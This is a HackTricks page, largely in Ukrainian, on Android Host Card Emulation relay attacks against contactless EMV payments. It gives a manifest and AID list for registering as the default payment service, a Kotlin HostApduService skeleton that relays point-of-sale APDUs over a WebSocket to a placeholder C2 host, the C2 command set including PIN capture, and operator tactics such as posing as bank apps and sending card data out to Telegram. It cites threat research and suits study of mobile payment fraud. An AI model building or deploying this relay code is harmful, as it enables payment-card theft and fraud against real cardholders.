Android HCE NFC/EMV Relay Attacks
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
Зловживання Android Host Card Emulation (HCE) дозволяє шкідливому додатку, встановленому як стандартний NFC payment service, ретранслювати EMV безконтактні транзакції в режимі реального часу. POS-термінал веде обмін по ISO 14443-4/EMV з телефоном; HostApduService додатку отримує APDU і пересилає їх через двонаправлений C2 (часто WebSocket) на бекенд, який формує відповіді, що потім ретрансльовуються назад на POS. Це дозволяє емулювати картку в реальному часі без локальних даних картки. Кампанії, помічені в великих масштабах, маскуються під банки/урядові додатки, пропонують стати стандартним платіжним додатком і автоматично exfiltrate дані пристрою/картки в Telegram боти/канали.
Ключові характеристики
- Android components: HostApduService + default NFC payment handler (category “payment”)
- Transport/C2: WebSocket for APDU relay; Telegram bot API for exfil/ops
- Operator workflow: structured commands (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
- Roles: scanner (read EMV data) vs tapper (HCE/relay) builds
Мінімальні блоки реалізації
Manifest (become default payment HCE service)
<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>
<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>
Приклад списку AID з категорією платежів EMV (тільки додатки, встановлені за замовчуванням для платежів, можуть відповісти на ці AID):
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/> <!-- AmEx -->
</aid-group>
</host-apdu-service>
Попросити користувача встановити додаток для платежів за замовчуванням (відкриває налаштування ОС):
val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)
HostApduService релейний скелет
class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null
override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}
override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}
override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}
private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}
Корисна примітка: фоновий сервіс має відповідати в межах POS timeout (~кілька сотень ms) для кожного APDU; підтримуйте low-latency socket і pre-auth з C2. Забезпечте збереження роботи після завершення процесу, використовуючи foreground service за потреби.
Типовий набір команд C2 (зафіксовано)
login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error
EMV безконтактний обмін (вступ)
POS керує потоком; HCE-додаток просто ретранслює APDUs:
- SELECT PPSE (2PAY.SYS.DDF01)
- 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
- SELECT application AID (e.g., VISA A0000000031010)
- 00 A4 04 00 len
00 - GET PROCESSING OPTIONS (GPO)
- 80 A8 00 00 Lc
00 - READ RECORD(S) per AFL
- 00 B2 <SFI/record> 0C 00
- GENERATE AC (ARQC/TC)
- 80 AE 80 00 Lc
00
У разі ретрансляції бекенд формує дійсні FCI/FCP, AFL, записи та криптограму; телефон лише пересилає байти.
Робочі процеси операторів, помічені в реальному світі
- Deception + install: додаток маскується під портал банку/держоргану, показує full-screen WebView і одразу запитує стати додатком оплати NFC за замовчуванням.
- Event-triggered activation: NFC tap пробуджує HostApduService; ретрансляція починається.
- Scanner/Tapper roles: одна збірка зчитує EMV data з карти жертви (PAN, exp, tracks, device/EMV fields) і exfiltrates; інша збірка (або той самий пристрій пізніше) виконує HCE relay до POS.
- Exfiltration: device/card data автоматично поститься в приватні Telegram channels/bots; WebSocket координує сесії та UI підказки (наприклад, on-device PIN UI).
References
- Zimperium – Tap-and-Steal: The Rise of NFC Relay Malware on Mobile Devices
- Android HostApduService
- Android HCE and Card Emulation docs
- Zimperium IOCs – 2025-10-NFCStealer
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

